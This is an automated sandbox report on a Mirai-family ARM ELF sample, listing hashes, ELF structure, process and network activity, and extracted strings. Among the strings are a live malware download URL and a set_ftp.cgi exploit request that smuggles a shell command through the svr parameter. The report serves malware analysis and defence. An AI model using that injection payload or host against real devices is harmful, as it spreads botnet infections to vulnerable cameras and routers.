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Linux Analysis Report
hgfs.arm6.elf

Overview

General Information

Sample name:hgfs.arm6.elf
Analysis ID:1640318
MD5:fb686da7f8de40deeac3078ab896bb52
SHA1:317f734b65af3683d44e07503b1f4288703e04fd
SHA256:1f68d535e351af8f49165418ecacfd7a97e573ecbc57816e3766d1c67dbb0fc4
Tags:elfuser-abuse_ch
Infos:

Detection

Score:48
Range:0 - 100

Signatures

Multi AV Scanner detection for submitted file
Executes the "rm" command used to delete files or directories
Sample contains strings that are potentially command strings
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Joe Sandbox version:42.0.0 Malachite
Analysis ID:1640318
Start date and time:2025-03-17 06:12:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 33s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:hgfs.arm6.elf
Detection:MAL
Classification:mal48.linELF@0/0@0/0
Command:/tmp/hgfs.arm6.elf
PID:6225
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • hgfs.arm6.elf (PID: 6225, Parent: 6151, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/hgfs.arm6.elf
  • dash New Fork (PID: 6260, Parent: 4331)
  • rm (PID: 6260, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpB
  • dash New Fork (PID: 6261, Parent: 4331)
  • rm (PID: 6261, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpB
  • cleanup
No yara matches
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: hgfs.arm6.elfReversingLabs: Detection: 44%
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
Source: hgfs.arm6.elfString found in binary or memory: http://196.251.81.246/a
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 33606
Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 33606 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=
Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=
Source: Initial samplePotential command found: GET login.cgi HTTP/1.0
Source: Initial samplePotential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+cd+/tmp+>>+/tmp/t%29 HTTP/1.0
Source: Initial samplePotential command found: GET /ftptest.cgi?loginuse=GET login.cgi HTTP/1.0
Source: ELF static info symbol of initial sample.symtab present: no
Source: classification engineClassification label: mal48.linELF@0/0@0/0
Source: /usr/bin/dash (PID: 6260)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpBJump to behavior
Source: /usr/bin/dash (PID: 6261)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpBJump to behavior
Source: /tmp/hgfs.arm6.elf (PID: 6225)Queries kernel information via 'uname': Jump to behavior
Source: hgfs.arm6.elf, 6225.1.000055c72f677000.000055c72f7a5000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/arm
Source: hgfs.arm6.elf, 6225.1.000055c72f677000.000055c72f7a5000.rw-.sdmpBinary or memory string: U!/tmp/hgfs.arm6.elf!AttributeTypeAndValue
Source: hgfs.arm6.elf, 6225.1.000055c72f677000.000055c72f7a5000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/arm
Source: hgfs.arm6.elf, 6225.1.00007fff8c19b000.00007fff8c1bc000.rw-.sdmpBinary or memory string: /usr/bin/qemu-arm
Source: hgfs.arm6.elf, 6225.1.00007fff8c19b000.00007fff8c1bc000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-arm/tmp/hgfs.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/hgfs.arm6.elf
Source: hgfs.arm6.elf, 6225.1.00007fff8c19b000.00007fff8c1bc000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: hgfs.arm6.elf, 6225.1.000055c72f677000.000055c72f7a5000.rw-.sdmp, hgfs.arm6.elf, 6225.1.00007fff8c19b000.00007fff8c1bc000.rw-.sdmpBinary or memory string: /tmp/hgfs.arm6.elf
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Command and Scripting Interpreter
Path InterceptionPath Interception1
File Deletion
OS Credential Dumping11
Security Software Discovery
Remote ServicesData from Local System1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
No configs have been found
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Number of created Files
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1640318 Sample: hgfs.arm6.elf Startdate: 17/03/2025 Architecture: LINUX Score: 48 12 109.202.202.202, 80 INIT7CH Switzerland 2->12 14 91.189.91.42, 443 CANONICAL-ASGB United Kingdom 2->14 16 2 other IPs or domains 2->16 18 Multi AV Scanner detection for submitted file 2->18 6 dash rm 2->6         started        8 dash rm 2->8         started        10 hgfs.arm6.elf 2->10         started        signatures3 process4
SourceDetectionScannerLabelLink
hgfs.arm6.elf44%ReversingLabsLinux.Trojan.Mirai
No Antivirus matches
No Antivirus matches
No Antivirus matches

Download Network PCAP: filteredfull

No contacted domains info
NameSourceMaliciousAntivirus DetectionReputation
http://196.251.81.246/ahgfs.arm6.elffalse
    high
    • No. of IPs < 25%
    • 25% < No. of IPs < 50%
    • 50% < No. of IPs < 75%
    • 75% < No. of IPs
    IPDomainCountryFlagASNASN NameMalicious
    54.171.230.55
    unknownUnited States
    16509AMAZON-02USfalse
    109.202.202.202
    unknownSwitzerland
    13030INIT7CHfalse
    91.189.91.43
    unknownUnited Kingdom
    41231CANONICAL-ASGBfalse
    91.189.91.42
    unknownUnited Kingdom
    41231CANONICAL-ASGBfalse
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                                                                No context
                                                                No created / dropped files found
                                                                File type:ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
                                                                Entropy (8bit):5.970754305363637
                                                                TrID:
                                                                • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                                File name:hgfs.arm6.elf
                                                                File size:38'148 bytes
                                                                MD5:fb686da7f8de40deeac3078ab896bb52
                                                                SHA1:317f734b65af3683d44e07503b1f4288703e04fd
                                                                SHA256:1f68d535e351af8f49165418ecacfd7a97e573ecbc57816e3766d1c67dbb0fc4
                                                                SHA512:98e6ac739f72f704a60835dc395881ea9c72868bba11860ec89bd7eb593bb1b0445ee192884857f913f095035079614168e6c37696908d4fce7c5a6b581672e7
                                                                SSDEEP:768:3ZnChEcXR2x/vox3RLlo2UzDmmO3ITv8iR2nhMtVXeDV+2+h:3ZniYx/vox3RrijOIAiR2hMtVVh
                                                                TLSH:6C03D54AF981DF02C5D5127AFE0E118E7313472CE3EFB6129E246F25BB8656B0A3A405
                                                                File Content Preview:.ELF..............(.....T...4...$.......4. ...(..........................................................z..........Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../...............-.@0....S

                                                                ELF header

                                                                Class:ELF32
                                                                Data:2's complement, little endian
                                                                Version:1 (current)
                                                                Machine:ARM
                                                                Version Number:0x1
                                                                Type:EXEC (Executable file)
                                                                OS/ABI:UNIX - System V
                                                                ABI Version:0
                                                                Entry Point Address:0x8154
                                                                Flags:0x4000002
                                                                ELF Header Size:52
                                                                Program Header Offset:52
                                                                Program Header Size:32
                                                                Number of Program Headers:3
                                                                Section Header Offset:37668
                                                                Section Header Size:40
                                                                Number of Section Headers:12
                                                                Header String Table Index:11
                                                                NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                                NULL0x00x00x00x00x0000
                                                                .initPROGBITS0x80940x940x100x00x6AX004
                                                                .textPROGBITS0x80b00xb00x85100x00x6AX0016
                                                                .finiPROGBITS0x105c00x85c00x100x00x6AX004
                                                                .rodataPROGBITS0x105d00x85d00x91c0x00x2A004
                                                                .init_arrayINIT_ARRAY0x190040x90080x40x00x3WA004
                                                                .fini_arrayFINI_ARRAY0x190080x900c0x40x00x3WA004
                                                                .gotPROGBITS0x190100x90140x740x40x3WA004
                                                                .dataPROGBITS0x190840x90880x22c0x00x3WA004
                                                                .bssNOBITS0x192b00x92b40xf8240x00x3WA004
                                                                .ARM.attributesARM_ATTRIBUTES0x00x92b40x100x00x0001
                                                                .shstrtabSTRTAB0x00x92c40x5d0x00x0001
                                                                TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                                LOAD0x00x80000x80000x8eec0x8eec6.03720x5R E0x8000.init .text .fini .rodata
                                                                LOAD0x90040x190040x190000x2b00x17ad03.72830x6RW 0x8000.init_array .fini_array .got .data .bss
                                                                GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                                Download Network PCAP: filteredfull

                                                                • Total Packets: 8
                                                                • 443 (HTTPS)
                                                                • 80 (HTTP)
                                                                TimestampSource PortDest PortSource IPDest IP
                                                                Mar 17, 2025 06:12:55.662329912 CET43928443192.168.2.2391.189.91.42
                                                                Mar 17, 2025 06:13:01.289642096 CET42836443192.168.2.2391.189.91.43
                                                                Mar 17, 2025 06:13:02.825404882 CET4251680192.168.2.23109.202.202.202
                                                                Mar 17, 2025 06:13:06.538130045 CET4433360654.171.230.55192.168.2.23
                                                                Mar 17, 2025 06:13:06.538480043 CET33606443192.168.2.2354.171.230.55
                                                                Mar 17, 2025 06:13:06.543116093 CET4433360654.171.230.55192.168.2.23
                                                                Mar 17, 2025 06:13:15.879825115 CET43928443192.168.2.2391.189.91.42
                                                                Mar 17, 2025 06:13:28.166066885 CET42836443192.168.2.2391.189.91.43
                                                                Mar 17, 2025 06:13:32.261394978 CET4251680192.168.2.23109.202.202.202
                                                                Mar 17, 2025 06:13:56.834080935 CET43928443192.168.2.2391.189.91.42

                                                                System Behavior

                                                                Start time (UTC):05:12:54
                                                                Start date (UTC):17/03/2025
                                                                Path:/tmp/hgfs.arm6.elf
                                                                Arguments:/tmp/hgfs.arm6.elf
                                                                File size:4956856 bytes
                                                                MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                Start time (UTC):05:13:05
                                                                Start date (UTC):17/03/2025
                                                                Path:/usr/bin/dash
                                                                Arguments:-
                                                                File size:129816 bytes
                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                Start time (UTC):05:13:05
                                                                Start date (UTC):17/03/2025
                                                                Path:/usr/bin/rm
                                                                Arguments:rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpB
                                                                File size:72056 bytes
                                                                MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                Start time (UTC):05:13:05
                                                                Start date (UTC):17/03/2025
                                                                Path:/usr/bin/dash
                                                                Arguments:-
                                                                File size:129816 bytes
                                                                MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                Start time (UTC):05:13:05
                                                                Start date (UTC):17/03/2025
                                                                Path:/usr/bin/rm
                                                                Arguments:rm -f /tmp/tmp.HHQSq8bHgL /tmp/tmp.hD2YwD2gmI /tmp/tmp.XBDVdv4jpB
                                                                File size:72056 bytes
                                                                MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b